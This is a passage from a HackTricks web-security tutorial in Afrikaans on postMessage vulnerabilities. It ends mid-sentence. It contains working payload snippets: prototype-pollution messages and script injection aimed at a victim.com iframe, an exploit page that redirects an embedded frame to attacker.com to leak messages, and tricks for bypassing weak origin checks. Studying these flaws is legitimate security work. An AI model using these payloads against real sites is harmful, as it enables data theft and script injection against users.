.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Kwesbaarhede
PostMessage Kwesbaarhede
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Stuur PostMessage
PostMessage gebruik die volgende funksie om 'n boodskap te stuur:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Let wel dat targetOrigin 'n '*' of 'n URL soos https://company.com kan wees.
In die tweede scenario kan die boodskap slegs na daardie domein gestuur word (selfs al is die oorsprong van die vensterobjek anders).
As die wildcard gebruik word, kan boodskappe na enige domein gestuur word, en sal dit gestuur word na die oorsprong van die vensterobjek.
Aanval op iframe & wildcard in targetOrigin
Soos verduidelik in hierdie verslag as jy 'n bladsy vind wat geïframe kan word (geen X-Frame-Header
-beskerming nie) en wat sensitiewe boodskappe via postMessage stuur met 'n wildcard (*), kan jy die oorsprong van die iframe wysig en die sensitiewe boodskap na 'n domein wat deur jou beheer word, lek.
Let wel dat as die bladsy geïframe kan word, maar die targetOrigin ingestel is op 'n URL en nie op 'n wildcard, sal hierdie truuk nie werk nie.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener uitbuiting
addEventListener
is die funksie wat deur JS gebruik word om die funksie te verklaar wat postMessages
verwag.
'n Kode soortgelyk aan die volgende sal gebruik word:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Let daarop hoe die eerste ding wat die kode doen, is om die oorsprong te kontroleer. Dit is baie belangrik, veral as die bladsy iets sensitiefs gaan doen met die ontvangste inligting (soos 'n wagwoord verander). As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om willekeurige data na hierdie eindpunte te stuur en die slagoffers se wagwoorde verander (in hierdie voorbeeld).
Enumerasie
Om gebeurtenisluisteraars in die huidige bladsy te vind, kan jy:
- Soek die JS-kode vir
window.addEventListener
en$(window).on
(JQuery-weergawe) - Uitvoer in die ontwikkelaarhulpmiddelskonsol:
getEventListeners(window)
- Gaan na Elemente --> Gebeurtenisluisteraars in die ontwikkelaarhulpmiddels van die blaaier
- Gebruik 'n blaaieruitbreiding soos https://github.com/benso-io/posta of https://github.com/fransr/postMessage-tracker. Hierdie blaaieruitbreidings sal alle boodskappe onderskep en aan jou wys.
Oorsprongkontrole-omseilings
-
Die
event.isTrusted
eienskap word as veilig beskou omdat dit slegsTrue
teruggee vir gebeurtenisse wat deur egte gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is sy belangrikheid in sekuriteitskontroles merkwaardig. -
Die gebruik van
indexOf()
vir oorsprongvalidering in PostMessage-gebeurtenisse kan vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer, is:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Die
search()
-metode vanString.prototype.search()
is bedoel vir regulêre uitdrukkings, nie vir strings nie. As iets anders as 'n regulêre uitdrukking oorgedra word, lei dit tot implisiete omskakeling na 'n regulêre uitdrukking, wat die metode potensieel onveilig maak. Dit is omdat 'n punt (.) in regulêre uitdrukking as 'n jokerteken optree en sodoende omseiling van validering met spesiaal ontwerpte domeine moontlik maak. Byvoorbeeld:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Die
match()
-funksie, soortgelyk aansearch()
, verwerk regulêre uitdrukkings. As die regulêre uitdrukking nie korrek gestruktureer is nie, kan dit vatbaar wees vir omseiling. -
Die
escapeHtml
-funksie is bedoel om insette te sanitiseer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral as 'n objek gemanipuleer kan word sodat sy beheerde eienskap niehasOwnProperty
erken nie, sal dieescapeHtml
nie soos verwag optree nie. Dit word gedemonstreer in die volgende voorbeelde: -
Verwagte mislukking:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Om die ontsnapping te omseil:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
In die konteks van hierdie kwesbaarheid is die File
-objek merkbaar vatbaar as gevolg van sy skryfbeskermde name
-eienskap. Hierdie eienskap word, wanneer dit in sjablone gebruik word, nie deur die escapeHtml
-funksie gesaniteer nie, wat potensiële sekuriteitsrisiko's tot gevolg het.
- Die
document.domain
-eienskap in JavaScript kan deur 'n skrip ingestel word om die domein te verkort, wat meer ontspanne handhawing van die selfde-oorsprongbeleid binne dieselfde ouerdomein moontlik maak.
e.origin == window.origin omseiling
Wanneer 'n webbladsy binne 'n sandbox-iframe ingebed word deur %%%